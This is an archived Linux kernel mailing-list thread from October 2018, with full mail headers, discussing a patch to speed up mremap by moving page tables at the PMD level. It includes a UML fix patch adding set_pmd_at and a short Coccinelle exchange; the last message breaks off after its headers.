 (envelope-from <anton.ivanov@kot-begemot.co.uk>)
 id 1gB0W9-0005hc-IK; Fri, 12 Oct 2018 17:42:25 +0100
In-Reply-To: <4dd52e22-5b51-9b30-7178-fde603a08f88@kot-begemot.co.uk>
Content-Language: en-US
X-Clacks-Overhead: GNU Terry Pratchett
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181012_094331_707466_5D753F32 
X-CRM114-Status: GOOD (  31.28  )
X-Spam-Score: -0.0 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.0 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 SPF_PASS               SPF: sender matches SPF record
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4529 gmane.linux.ports.mips.general:67044 gmane.linux.ports.ia64:29380 gmane.linux.ports.sh.devel:57628 gmane.linux.kernel.mm:205152 gmane.linux.ports.riscv:1048 gmane.linux.ports.hexagon:1903 gmane.comp.emulators.kvm.arm.devel:19426 gmane.linux.ports.alpha:5305 gmane.linux.ports.arm.kernel:679354 gmane.linux.ports.parisc:29155 gmane.linux.kernel:2897807 gmane.linux.ports.sparc:28550 gmane.linux.ports.ppc64.devel:164151
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4529>

This is a multi-part message in MIME format.
--------------A6D223F721C42CB9BAB1286E
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 8bit


On 10/12/18 3:48 PM, Anton Ivanov wrote:
> On 12/10/2018 15:37, Kirill A. Shutemov wrote:
>> On Fri, Oct 12, 2018 at 03:09:49PM +0100, Anton Ivanov wrote:
>>> On 10/12/18 2:37 AM, Joel Fernandes (Google) wrote:
>>>> Android needs to mremap large regions of memory during memory 
>>>> management
>>>> related operations. The mremap system call can be really slow if 
>>>> THP is
>>>> not enabled. The bottleneck is move_page_tables, which is copying each
>>>> pte at a time, and can be really slow across a large map. Turning 
>>>> on THP
>>>> may not be a viable option, and is not for us. This patch speeds up 
>>>> the
>>>> performance for non-THP system by copying at the PMD level when 
>>>> possible.
>>>>
>>>> The speed up is three orders of magnitude. On a 1GB mremap, the mremap
>>>> completion times drops from 160-250 millesconds to 380-400 
>>>> microseconds.
>>>>
>>>> Before:
>>>> Total mremap time for 1GB data: 242321014 nanoseconds.
>>>> Total mremap time for 1GB data: 196842467 nanoseconds.
>>>> Total mremap time for 1GB data: 167051162 nanoseconds.
>>>>
>>>> After:
>>>> Total mremap time for 1GB data: 385781 nanoseconds.
>>>> Total mremap time for 1GB data: 388959 nanoseconds.
>>>> Total mremap time for 1GB data: 402813 nanoseconds.
>>>>
>>>> Incase THP is enabled, the optimization is skipped. I also flush the
>>>> tlb every time we do this optimization since I couldn't find a way to
>>>> determine if the low-level PTEs are dirty. It is seen that the cost of
>>>> doing so is not much compared the improvement, on both x86-64 and 
>>>> arm64.
>>>>
>>>> Cc: minchan@kernel.org
>>>> Cc: pantin@google.com
>>>> Cc: hughd@google.com
>>>> Cc: lokeshgidra@google.com
>>>> Cc: dancol@google.com
>>>> Cc: mhocko@kernel.org
>>>> Cc: kirill@shutemov.name
>>>> Cc: akpm@linux-foundation.org
>>>> Signed-off-by: Joel Fernandes (Google) <joel@joelfernandes.org>
>>>> ---
>>>>    mm/mremap.c | 62 
>>>> +++++++++++++++++++++++++++++++++++++++++++++++++++++
>>>>    1 file changed, 62 insertions(+)
>>>>
>>>> diff --git a/mm/mremap.c b/mm/mremap.c
>>>> index 9e68a02a52b1..d82c485822ef 100644
>>>> --- a/mm/mremap.c
>>>> +++ b/mm/mremap.c
>>>> @@ -191,6 +191,54 @@ static void move_ptes(struct vm_area_struct 
>>>> *vma, pmd_t *old_pmd,
>>>>            drop_rmap_locks(vma);
>>>>    }
>>>> +static bool move_normal_pmd(struct vm_area_struct *vma, unsigned 
>>>> long old_addr,
>>>> +          unsigned long new_addr, unsigned long old_end,
>>>> +          pmd_t *old_pmd, pmd_t *new_pmd, bool *need_flush)
>>>> +{
>>>> +    spinlock_t *old_ptl, *new_ptl;
>>>> +    struct mm_struct *mm = vma->vm_mm;
>>>> +
>>>> +    if ((old_addr & ~PMD_MASK) || (new_addr & ~PMD_MASK)
>>>> +        || old_end - old_addr < PMD_SIZE)
>>>> +        return false;
>>>> +
>>>> +    /*
>>>> +     * The destination pmd shouldn't be established, free_pgtables()
>>>> +     * should have release it.
>>>> +     */
>>>> +    if (WARN_ON(!pmd_none(*new_pmd)))
>>>> +        return false;
>>>> +
>>>> +    /*
>>>> +     * We don't have to worry about the ordering of src and dst
>>>> +     * ptlocks because exclusive mmap_sem prevents deadlock.
>>>> +     */
>>>> +    old_ptl = pmd_lock(vma->vm_mm, old_pmd);
>>>> +    if (old_ptl) {
>>>> +        pmd_t pmd;
>>>> +
>>>> +        new_ptl = pmd_lockptr(mm, new_pmd);
>>>> +        if (new_ptl != old_ptl)
>>>> +            spin_lock_nested(new_ptl, SINGLE_DEPTH_NESTING);
>>>> +
>>>> +        /* Clear the pmd */
>>>> +        pmd = *old_pmd;
>>>> +        pmd_clear(old_pmd);
>>>> +
>>>> +        VM_BUG_ON(!pmd_none(*new_pmd));
>>>> +
>>>> +        /* Set the new pmd */
>>>> +        set_pmd_at(mm, new_addr, new_pmd, pmd);
>>> UML does not have set_pmd_at at all
>> Every architecture does. :)
>
> I tried to build it patching vs 4.19-rc before I made this statement 
> and ran into that.
>
> Presently it does not.
>
> https://elixir.bootlin.com/linux/v4.19-rc7/ident/set_pmd_at - UML is 
> not on the list.

Once this problem as well as the omissions in the include changes for 
UML in patch one have been fixed it appears to be working.

What it needs is attached.


>
>>
>> But it may come not from the arch code.
>
> There is no generic definition as far as I can see. All 12 defines in 
> 4.19 are in arch specific code. Unless i am missing something...
>
>>
>>> If I read the code right, MIPS completely ignores the address 
>>> argument so
>>> set_pmd_at there may not have the effect which this patch is trying to
>>> achieve.
>> Ignoring address is fine. Most architectures do that..
>> The ideas is to move page table to the new pmd slot. It's nothing to do
>> with the address passed to set_pmd_at().
>
> If that is it's only function, then I am going to appropriate the code 
> out of the MIPS tree for further uml testing. It does exactly that - 
> just move the pmd the new slot.
>
>>
> A.


A.


--------------A6D223F721C42CB9BAB1286E
Content-Type: text/x-patch;
 name="0001-Incremental-fixes-to-the-mmremap-patch.patch"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
 filename="0001-Incremental-fixes-to-the-mmremap-patch.patch"

>From ac265d96897a346b05646fce91784ed4922c7f8d Mon Sep 17 00:00:00 2001
From: Anton Ivanov <anton.ivanov@cambridgegreys.com>
Date: Fri, 12 Oct 2018 17:24:10 +0100
Subject: [PATCH] Incremental fixes to the mmremap patch

Signed-off-by: Anton Ivanov <anton.ivanov@cambridgegreys.com>
---
 arch/um/include/asm/pgalloc.h | 4 ++--
 arch/um/include/asm/pgtable.h | 3 +++
 arch/um/kernel/tlb.c          | 6 ++++++
 3 files changed, 11 insertions(+), 2 deletions(-)

diff --git a/arch/um/include/asm/pgalloc.h b/arch/um/include/asm/pgalloc.h
index bf90b2aa2002..99eb5682792a 100644
--- a/arch/um/include/asm/pgalloc.h
+++ b/arch/um/include/asm/pgalloc.h
@@ -25,8 +25,8 @@
 extern pgd_t *pgd_alloc(struct mm_struct *);
 extern void pgd_free(struct mm_struct *mm, pgd_t *pgd);
 
-extern pte_t *pte_alloc_one_kernel(struct mm_struct *, unsigned long);
-extern pgtable_t pte_alloc_one(struct mm_struct *, unsigned long);
+extern pte_t *pte_alloc_one_kernel(struct mm_struct *);
+extern pgtable_t pte_alloc_one(struct mm_struct *);
 
 static inline void pte_free_kernel(struct mm_struct *mm, pte_t *pte)
 {
diff --git a/arch/um/include/asm/pgtable.h b/arch/um/include/asm/pgtable.h
index 7485398d0737..1692da55e63a 100644
--- a/arch/um/include/asm/pgtable.h
+++ b/arch/um/include/asm/pgtable.h
@@ -359,4 +359,7 @@ do {						\
 	__flush_tlb_one((vaddr));		\
 } while (0)
 
+extern void set_pmd_at(struct mm_struct *mm, unsigned long addr,
+		pmd_t *pmdp, pmd_t pmd);
+
 #endif
diff --git a/arch/um/kernel/tlb.c b/arch/um/kernel/tlb.c
index 763d35bdda01..d17b74184ba0 100644
--- a/arch/um/kernel/tlb.c
+++ b/arch/um/kernel/tlb.c
@@ -647,3 +647,9 @@ void force_flush_all(void)
 		vma = vma->vm_next;
 	}
 }
+void set_pmd_at(struct mm_struct *mm, unsigned long addr,
+		pmd_t *pmdp, pmd_t pmd)
+{
+	*pmdp = pmd;
+}
+
-- 
2.11.0


--------------A6D223F721C42CB9BAB1286E
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
linux-snps-arc mailing list
linux-snps-arc@lists.infradead.org
http://lists.infradead.org/mailman/listinfo/linux-snps-arc
--------------A6D223F721C42CB9BAB1286E--



From - Thu Nov 08 21:42:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Joel Fernandes <joel@joelfernandes.org>
Newsgroups: gmane.linux.ports.riscv,gmane.linux.ports.mips.general,gmane.linux.ports.m68k,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.comp.emulators.kvm.arm.devel,gmane.linux.kernel.arc,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v2 1/2] treewide: remove unused address argument from
 pte_alloc functions
Date: Fri, 12 Oct 2018 09:46:44 -0700
Lines: 26
Approved: news@gmane.org
Message-ID: <20181012164644.GC223066@joelaf.mtv.corp.google.com>
References: <20181012013756.11285-1-joel@joelfernandes.org>
 <594fc952-5e87-3162-b2f9-963479d16eb3@kot-begemot.co.uk>
 <20181012163433.GA223066@joelaf.mtv.corp.google.com>
 <alpine.DEB.2.20.1810121838180.4366@hadrien>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1539362718 26173 195.159.176.226 (12 Oct 2018 16:45:18 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Oct 2018 16:45:18 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: linux-mips@linux-mips.org, linux-m68k@vger.kernel.org,
 Rich Felker <dalias@libc.org>, linux-ia64@vger.kernel.org,
 linux-sh@vger.kernel.org, Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 Michal Hocko <mhocko@kernel.org>, linux-mm@kvack.org, lokeshgidra@google.com,
 sparclinux@vger.kernel.org, linux-riscv@lists.infradead.org,
 elfring@users.sourceforge.net, Jonas Bonn <jonas@southpole.se>,
 linux-s390@vger.kernel.org, dancol@google.com,
 Yoshinori Sato <ysato@users.sourceforge.jp>, Max Filippov <jcmvbkbc@gmail.com>,
 linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE 32-BIT AND 64-BIT" <x86@kernel.org>,
 hughd@google.com, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 kasan-dev@googlegroups.com, Anton Ivanov <anton.ivanov@kot-b
To: Julia Lawall <julia.lawall@lip6.fr>
Original-X-From: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org Fri Oct 12 18:45:09 2018
Return-path: <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>
Envelope-to: glpr-linux-riscv@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>)
	id 1gB0Ym-0006ZU-Sn
	for glpr-linux-riscv@m.gmane.org; Fri, 12 Oct 2018 18:45:09 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:References:
	Message-ID:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=5HaYAyoWv48myR0VPnGU0Gem/1qC4FfFysukIafcNzM=; b=Qdl/+I5soUqWfz
	5s1rtk/1We6UDpNEuRVej49IgK+g7d+kF83TLCkqPL3X16Qv1v6BgrQkGiWCr6a6MsyLS0cnFE3nu
	8WwVUi2BLVuqjjguHvsYsrFiSp0S9u4jY0uSNql/gU5o7yMB+hd+JZPumn24Me93ZiYmRRNXaLjwR
	oWwngsoI+TZr0G+JQ37uduyf9VzYN3qc0n6cGt3vIfjOeDObIcgyvXGqJZ4HAZ2h7eLLZfIa/N6Y0
	DJGPevcGCzC/ttb7W316AKUyuUgQ7Zd03SNrJbQwfZUODAsjoBdfGt829CsHY75+jDliSjRspvFuB
	msTmpls8i1MpuBsRAUNA==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gB0ap-00034z-9R; Fri, 12 Oct 2018 16:47:15 +0000
Original-Received: from mail-pg1-x542.google.com ([2607:f8b0:4864:20::542])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gB0aY-0002zH-Eo
 for linux-riscv@lists.infradead.org; Fri, 12 Oct 2018 16:47:11 +0000
Original-Received: by mail-pg1-x542.google.com with SMTP id y18-v6so6117672pge.0
 for <linux-riscv@lists.infradead.org>; Fri, 12 Oct 2018 09:46:48 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=joelfernandes.org; s=google;
 h=date:from:to:cc:subject:message-id:references:mime-version
 :content-disposition:in-reply-to:user-agent;
 bh=Umti8berIQqjm65Zoyf/w3JloUMrJhwZUXe+Y2BsWdc=;
 b=KQEzQQFkI6jyKow9cNxsGELIJZyLx1I8uGjB/QnyLtJkOtbntdWVJwS8u0cqFmWoK2
 Zbax90aSm2shdb707DdFjVreJBouZPwsGgrwGCldaGV6mLKNDvduyzCfqgYYC5kplbyd
 Z9GrlBVjP7KcXBEbZpZjy43C4pR8q7gp8Lu8Q=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:date:from:to:cc:subject:message-id:references
 :mime-version:content-disposition:in-reply-to:user-agent;
 bh=Umti8berIQqjm65Zoyf/w3JloUMrJhwZUXe+Y2BsWdc=;
 b=R6K18YKANvFdhkvUNYbdGcYUZ1xKlxO51dlcjBk/bRdIYo464tZCiyD/cJGX2Y2Oms
 E3CvRcRALcbFH+JzYn9fQOF1F/C9v9Rfu97ngXNQ+GrDKtyMgyGqPIp4iRFa/2O+rkp/
 /q11PKVs/QmUMBAXWy8QWik42RoeOd38/UjIcQH7JevGVihhSOT1loL4zt5IHCzc6HIS
 l+HUDqCTuerWrvTgVNLsHjAWR2WlXyK0nIS/7qQvD9/0ZSJZ++gU8OLhQfExgUN8gTKV
 FXslscLMJBVpt7Qt3kVqfHBwzSyF9J1r2yRy08BynjyuIROKI+Jd9mBwXTra8K71FjzK
 JPRQ==
X-Gm-Message-State: ABuFfoiLGKZzu2BWtsgAYXRAJ/b+5ndvUWTxIWhN67D/fqAPgqLxfk2z
 jBcJKLIW5kH4f1dEmFSDKJK+Ag==
X-Google-Smtp-Source: ACcGV609gsys33zC1Yow1z87yTnxpouPc78UFZGuqi9n2/9mNvSopecla0EDsZWt+bvQnXlM2xKVdQ==
X-Received: by 2002:a63:991a:: with SMTP id
 d26-v6mr6276510pge.434.1539362807192; 
 Fri, 12 Oct 2018 09:46:47 -0700 (PDT)
Original-Received: from localhost ([2620:0:1000:1601:3aef:314f:b9ea:889f])
 by smtp.gmail.com with ESMTPSA id g62-v6sm3310692pgc.22.2018.10.12.09.46.45
 (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
 Fri, 12 Oct 2018 09:46:45 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <alpine.DEB.2.20.1810121838180.4366@hadrien>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181012_094658_547333_3F9DF097 
X-CRM114-Status: GOOD (  11.96  )
X-Spam-Score: -0.1 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.1 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [2607:f8b0:4864:20:0:0:0:542 listed in] [list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
X-BeenThere: linux-riscv@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-riscv.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-riscv/>
List-Post: <mailto:linux-riscv@lists.infradead.org>
List-Help: <mailto:linux-riscv-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-riscv" <linux-riscv-bounces@lists.infradead.org>
Errors-To: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.riscv:1049 gmane.linux.ports.mips.general:67045 gmane.linux.ports.m68k:10238 gmane.linux.ports.ia64:29381 gmane.linux.ports.sh.devel:57629 gmane.linux.kernel.mm:205153 gmane.linux.ports.sparc:28551 gmane.linux.ports.hexagon:1904 gmane.comp.emulators.kvm.arm.devel:19427 gmane.linux.kernel.arc:4530 gmane.linux.ports.alpha:5306 gmane.linux.ports.arm.kernel:679356 gmane.linux.ports.parisc:29156 gmane.linux.kernel:2897816 gmane.linux.ports.ppc64.devel:164152
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.riscv/1049>

On Fri, Oct 12, 2018 at 06:38:57PM +0200, Julia Lawall wrote:
> > I wrote something like this as below but it failed to compile, Julia any
> > suggestions on how to express this?
> >
> > @pte_alloc_func_proto depends on patch exists@
> > type T1, T2, T3, T4;
> > identifier fn =~
> > "^(__pte_alloc|pte_alloc_one|pte_alloc|__pte_alloc_kernel|pte_alloc_one_kernel)$";
> > @@
> >
> > (
> > - T3 fn(T1, T2);
> > + T3 fn(T1);
> > |
> > - T3 fn(T1, T2, T4);
> > + T3 fn(T1, T2);
> > )
> 
> What goes wrong?  It seems fine to me.

Weird it seems working now. I could swear 5 minutes ago it wasn't and I did
give a unique rule name. Don't know what I missed.

Anyway, thank you for all the quick responses and the help!

- Joel

From - Thu Nov 08 21:42:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Joel Fernandes <joel@joelfernandes.org>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.riscv,gmane.linux.ports.hexagon,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v2 2/2] mm: speed up mremap by 500x on large regions
Date: Fri, 12 Oct 2018 09:50:12 -0700
Lines: 251
Approved: news@gmane.org
Message-ID: <20181012165012.GD223066@joelaf.mtv.corp.google.com>
References: <20181012013756.11285-1-joel@joelfernandes.org>
 <20181012013756.11285-2-joel@joelfernandes.org>
 <9ed82f9e-88c4-8e4f-8c45-3ef153469603@kot-begemot.co.uk>
 <20181012143728.t42uvr6etg7gp7fh@kshutemo-mobl1>
 <4dd52e22-5b51-9b30-7178-fde603a08f88@kot-begemot.co.uk>
 <97cb3fe1-7bc1-12ff-d602-56c72a5496c5@kot-begemot.co.uk>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: blaine.gmane.org 1539362916 8211 195.159.176.226 (12 Oct 2018 16:48:36 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Oct 2018 16:48:36 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 mhocko@kernel.org, linux-mm@kvack.org, lokeshgidra@google.com,
 sparclinux@vger.kernel.org, linux-riscv@lists.infradead.org,
 elfring@users.sourceforge.net, Jonas Bonn <jonas@southpole.se>,
 linux-s390@vger.kernel.org, dancol@google.com,
 Yoshinori Sato <ysato@users.sourceforge.jp>, Max Filippov <jcmvbkbc@gmail.com>,
 linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE 32-BIT AND 64-BIT" <x86@kernel.org>,
 hughd@google.com, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 kasan-dev@googlegroups.com, kvmarm@lists.cs.columbia.edu,
 Ingo Molnar <mingo@redhat.com>, Geert Uytter
To: Anton Ivanov <anton.ivanov@kot-begemot.co.uk>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Fri Oct 12 18:48:27 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1gB0by-0001ug-MO
	for gla-linux-snps-arc@m.gmane.org; Fri, 12 Oct 2018 18:48:27 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:References:
	Message-ID:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=GzTtHFPdfdTuNuqtScPIAlM25ZZO0OUpCuBcK6RpRoc=; b=a3lR6rKChXJ+iF
	yfNI4T8e6jwkgCC6Vn7AOJHwDZXDzl1FA2j5dOlz1HHIQ54vWdIU1LCBKTrnGGq9TAdfkoEbLMBzQ
	w0mSwynWVNQjNw23tWQ2zAKXuDTPNCSwQ3ZO/fIcf5sGVLmb3gkDVAw553469ts3azgsi4YoGE+7X
	4tQhqL1wYzSq8ImL+vr+BQeJoqp+nxdlvNGv3Sn+dmunhywM/SUYeqrDoMxb1GizAhI4cbcljLmwL
	vuNOrEKo/NyykWpZnfxsJNYcS7z5+bBfGrX4XpCWQSSeqcY6DHTgAEFf/81Buax6vjdkgLm5hRuu4
	TdXEY6K1+b9O/oHpbLlQ==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gB0e3-0004oF-Vi; Fri, 12 Oct 2018 16:50:35 +0000
Original-Received: from mail-pg1-x542.google.com ([2607:f8b0:4864:20::542])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gB0du-0004fD-M1
 for linux-snps-arc@lists.infradead.org; Fri, 12 Oct 2018 16:50:33 +0000
Original-Received: by mail-pg1-x542.google.com with SMTP id c10-v6so6111609pgq.4
 for <linux-snps-arc@lists.infradead.org>; Fri, 12 Oct 2018 09:50:16 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=joelfernandes.org; s=google;
 h=date:from:to:cc:subject:message-id:references:mime-version
 :content-disposition:content-transfer-encoding:in-reply-to
 :user-agent; bh=3DML0DfB0nlc1tyXD8MYIv9tqy7JJDHuUUZSi5Dy3yc=;
 b=NjXES6Pdb9e/l8KucJPuNidi4InOrLFXUBcvWc4+j0RbQKkbD8LAt8rSFmcj60j72A
 lk+5mekUv3vuHlwU2QpyXlfXTOTjty0LreTUFHc0xiFeCNWZMY4jP5XFJZ+Xx0Xio/Hf
 09K9DQhSrrYcb+L7j1mCGPPUS96kJiHDrKUBM=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:date:from:to:cc:subject:message-id:references
 :mime-version:content-disposition:content-transfer-encoding
 :in-reply-to:user-agent;
 bh=3DML0DfB0nlc1tyXD8MYIv9tqy7JJDHuUUZSi5Dy3yc=;
 b=HogdYQFAvAIo0pCWqCmnphQsJ8sVYmTlXdrCV5x8r1l1/ktLiVlgviewM1OoUs2/nO
 pEFC8heLid37XyuJkgA/EWQSbyd5Z6VyBKkXcqm4wazKyfnx0B11jtEaYyUTt0AWhCLI
 oPsYaT3BsYngCS/SPfhzUFKFoY4Ml11D5mS6IKNvmRfIiBSXGqzfvGdJaSLpx/PtrNkO
 wxM+VdmZkWYTwQGI55GqKb5wgkZtIsQKVp5MPeVzj1uvh4zaCEKNn669UIhaeUDJG+LW
 mrBpeHstIl2ECJWsSywAQ7t6ZtsL6uXSvUibCBsBe8uIiuRYGA929mJbzJ/vH1AnqUPb
 GozQ==
X-Gm-Message-State: ABuFfojpOoGYlrW8sJ93WgPLrZhMGJozE9QWD6QJtz8DRuJsMLH4ZoJM
 +AGuaOPgOd8V1TnMgVP1TUshVg==
X-Google-Smtp-Source: ACcGV62W/f8rTwoBekJAo9vNmsdLbflTQ3Cm4bKAHH1uL186sKig6+wGtZkqdu2aVDYNLeyo7iNvSw==
X-Received: by 2002:a62:c4c5:: with SMTP id
 h66-v6mr6856183pfk.39.1539363014751; 
 Fri, 12 Oct 2018 09:50:14 -0700 (PDT)
Original-Received: from localhost ([2620:0:1000:1601:3aef:314f:b9ea:889f])
 by smtp.gmail.com with ESMTPSA id n64-v6sm3128120pfi.185.2018.10.12.09.50.13
 (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
 Fri, 12 Oct 2018 09:50:13 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <97cb3fe1-7bc1-12ff-d602-56c72a5496c5@kot-begemot.co.uk>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181012_095026_764503_419D652C 
X-CRM114-Status: GOOD (  41.69  )
X-Spam-Score: -0.1 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.1 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [2607:f8b0:4864:20:0:0:0:542 listed in] [list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
X-BeenThere: linux-snps-arc@lists.infradead.org
